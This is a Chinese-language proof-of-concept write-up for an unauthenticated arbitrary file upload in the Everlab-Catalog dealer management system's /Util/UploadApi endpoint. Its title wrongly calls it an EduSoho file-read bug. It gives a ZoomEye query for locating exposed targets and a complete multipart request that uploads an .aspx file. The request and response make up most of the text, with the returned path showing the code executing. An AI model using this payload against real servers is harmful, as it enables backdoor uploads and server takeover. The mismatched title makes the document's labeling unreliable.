

E5-1EduSoho-教培系统-任意文件读取

漏洞描述：

Everlab-Catalog经销商[管理系统](#) /Util/UploadApi接口处存在任意文件上传漏洞，未经授权的攻击者可上传任意后门文件，进而控制整个服务器。（EDU刷分）

网站图片：



网络测绘：

fofa语法：

钟馗之眼：app:"Everlab Catalog"



漏洞复现：

payload:

```
POST /Util/UploadApi HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b
Upgrade-Insecure-Requests: 1

--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: image/jpeg

<% Response.Write("Hello, World") %>
--59229605f98b8cf290a7b8908b34616b--
```

效果图:

Request

1 POST /Util/UploadApi HTTP/1.1

2 Host :

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0

4 Accept-Encoding: gzip, deflate

5 Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b

6 Upgrade-Insecure-Requests: 1

7

8 --59229605f98b8cf290a7b8908b34616b

9 Content-Disposition: form-data; name="Filedata"; filename="1.aspx"

10 Content-Type: image/jpeg

11

12 <% Response.Write("Hello, World") %>

13 --59229605f98b8cf290a7b8908b34616b--

Responses 230bytes / 36ms

1 HTTP/1.1 200 OK

2 Cache-Control: private

3 Content-Type: application/json; charset=utf-8

4 Server: Microsoft-IIS/8.5

5 X-AspNetMvc-Version: 3.0

6 X-AspNet-Version: 4.0.30319

7 X-Powered-By: ASP.NET

8 Access-Control-Allow-Headers: Content-Type

9 Access-Control-Allow-Methods: GET, POST, PUT

10 Access-Control-Allow-Origin: *

11 Date: Thu, 28 Dec 2023 08:32:18 GMT

12 Content-Length: 230

13

14 {"Results": ["/upload/2023/12/28/98f9abc4-71c7-4bb6-af3a-e76bfd2b19b6.aspx"]}

回显了完整路径
验证

← → ↻

⚠ 不安全

/upload/2023/12/28/98f9abc4-71c7-4bb6-af3a-e76bfd2b19b6.aspx

Hello, World